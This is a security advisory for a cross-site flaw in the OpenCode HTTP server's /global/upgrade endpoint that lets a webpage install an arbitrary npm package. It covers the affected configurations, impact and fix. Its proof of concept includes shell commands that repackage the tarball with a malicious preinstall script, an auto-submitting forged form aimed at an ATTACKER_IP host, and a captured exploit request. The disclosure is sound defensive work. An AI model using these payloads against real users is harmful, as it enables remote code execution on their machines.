

Cross-site OpenCode server upgrade request can install arbitrary packages for npm-based installations

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Content

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Cross-site OpenCode server upgrade request can install arbitrary packages for npm-based installations

- Advisory: GHSA-632h-h47v-g4x4
- Severity: high
- Published: 2026-09-24
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Affected

- `opencode-ai` (npm): `>=1.14.30`

Description

<https://securitylabs.datadoghq.com/articles/opencode-upgrade-remote-code-execution/>

Summary

This issue affects users who are running the OpenCode HTTP server through `opencode serve` and whose OpenCode installation is managed by npm, pnpm, or Bun. The standalone CLI upgrade command is not itself a cross-origin attack surface.

In the affected configuration, a webpage can submit a cross-site request to `/global/upgrade`. The endpoint accepts a general package specifier as `target`, allowing the npm-compatible package manager to install an attacker-controlled package and execute its lifecycle scripts.

Users who are not running `opencode serve` are not exposed to this cross-site request path. Installations managed through curl, Homebrew, Chocolatey, or Scoop do not interpret `target` as an alternate npm package and are not affected by this arbitrary-package installation path.

Password protection prevents unauthenticated requests unless the browser has cached valid HTTP Basic credentials; with cached credentials, a cross-site top-level form navigation can include them.

Details

`opencode serve` exposes a `/global/upgrade` endpoint that allows opencode to dynamically update itself, specifying the target version:

```
POST /global/upgrade
Host: 127.0.0.1:4096
Content-Type: text/plain

{"target": "1.18.1", "x": "="}
```

When opencode is installed through npm, the backend then `calls` `npm install -g opencode-ai@1.18.1`. However, npm package specs can also point to remote tarballs. Therefore an attacker can supply an arbitrary package URL:

```
POST /global/upgrade
Host: 127.0.0.1:4096
Content-Type: text/plain

{"target": "http://ATTACKER_IP/opencode-malicious.tgz", "x": "="}
```

In addition, the `/global/upgrade` endpoint doesn't check that the request is coming from a trusted `origin`. These two things together allow any webpage to trigger arbitrary remote code execution without further user interaction.

The `text/plain` content type is important because browsers cannot submit cross-origin HTML forms as `application/json`, but `opencode` parses the submitted `text/plain` form body as JSON anyway.

PoC

Attacker setup: On an attacker-controlled server, create a clone of the opencode npm package and add malicious code to it, for instance in a `preinstall` script:

```
# Download original tarball
VERSION=$(curl https://registry.npmjs.org/opencode-ai/latest | jq -r .version)
TAR=opencode-ai-$VERSION.tgz
wget https://registry.npmjs.org/opencode-ai/-/$TAR
tar -xf $TAR

# Inject malicious code of our choice and repackage
MALICIOUS_COMMAND="id > /tmp/opencode-upgrade-rce && open
/System/Applications/Calculator.app"
jq ".scripts.preinstall = \"\$MALICIOUS_COMMAND\"" package/package.json >
package/package.json.tmp
mv package/package.json.tmp package/package.json
tar -czf opencode-malicious.tgz package
```

Then create the following malicious webpage:

```
ATTACKER_IP=$(curl -s https://checkip.amazonaws.com/)
cat > index.html <<EOF
<form
  method="POST"
  enctype="text/plain"
  action="http://127.0.0.1:4096/global/upgrade"
>
  <input
    type="hidden"
    name='{ "target": "http://$ATTACKER_IP/opencode-malicious.tgz", "x": "'
    value='"' }'
  >
</form>
<script>document.forms[0].submit()</script>
EOF
```

(Note: The unusual hidden input formatting is intentional. With `\enctype="text/plain"`, the browser will serialize form fields as `\name=value`; by splitting the JSON across `\name` and `\value`, the submitted body becomes valid JSON:

```
{ "target": "http://ATTACKER_IP/opencode-malicious.tgz", "x": "" } .)
```

Finally, serve the malicious webpage and tarball:

```
python3 -m http.server 80
```

Attack: Assuming the victim is running `opencode serve` in the background, they only have to visit the attacker's IP and load the HTML. This causes the browser to perform the following HTTP request:

POST /global/upgrade **HTTP/1.1**

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br, zstd

Accept-Language: en-US,en;q=0.9,fr-CH;q=0.8,fr-FR;q=0.7,fr;q=0.6

Authorization: Basic b3BlbmNvZGU6Zm9vYmFyYmF6

Cache-Control: no-cache

Connection: keep-alive

Content-Length: 67

Content-Type: text/plain

Host: 127.0.0.1:4096

Origin: http://ATTACKER_IP

Pragma: no-cache

Referer: http://ATTACKER_IP/

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: cross-site

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36

dnt: 1

sec-ch-ua: "Not=A?Brand";v="99", "Google Chrome";v="151", "Chromium";v="151"

sec-ch-ua-mobile: ?0

sec-ch-ua-platform: "macOS"

sec-gpc: 1

{"target": "http://165.227.82.252/opencode-malicious.tgz", "x": ""**}**

HTTP/1.1 200 OK

Content-Type: application/json

Date: Tue, 11 Aug 2026 11:30:05 GMT

Content-Length: 73

{"success": true, "version": "http://165.227.82.252/opencode-malicious.tgz"**}**

This causes opencode to run `npm install -g opencode-ai@http://ATTACKER_IP/opencode-malicious.tgz`, which fetches the package tarball from the attacker-controlled server and installs it on the machine.

Notes on exploitation:

- This exploitation method works when opencode was installed through npm, pnpm or bun.
- This works including if a password is set through `OPENCODE_SERVER_PASSWORD` as long as the user has authenticated once. In this case, the browser sends cached basic authentication credentials.
- This works including on modern browsers (latest Chrome), because these protections don't apply to top-level navigation.

Impact

A malicious webpage can execute arbitrary code as the user running OpenCode when all of the following conditions hold:

- The victim is running the OpenCode HTTP server through `opencode serve`.
- OpenCode was installed through npm, pnpm, or Bun.
- The browser can reach the server and, when server authentication is enabled, has cached valid HTTP Basic credentials.
- The victim visits an attacker-controlled webpage.

The arbitrary-package installation impact does not apply to curl, Homebrew, Chocolatey, or Scoop installations.

Related source code

<https://github.com/anomalyco/opencode/blob/d041eee55c4b669f583fcbe0eb73e78d53393ae8/packages/opencode/src/installation/index.ts#L265-L278>

Impacted versions

I believe impacted versions are v1.14.30 through v1.18.16, because v1.14.30 (6015084) introduces a [change](#) that introduced a raw handler that reads request.text and parses it as JSON, making text/plain requests accepted.

Resolution

The fix is implemented in [PR #44686](#):

- `/global/upgrade` now uses the standard typed HTTP API request decoder.
- Requests must use the supported JSON content type.
- The request must include an explicit `target`.

- `target` must be a valid semantic version rather than a general package specifier.
- Bodyless upgrade requests are rejected.

These changes prevent alternate package sources from reaching the package-manager upgrade command and ensure browser requests use the endpoint's declared JSON contract. The patched release version is 1.18.22

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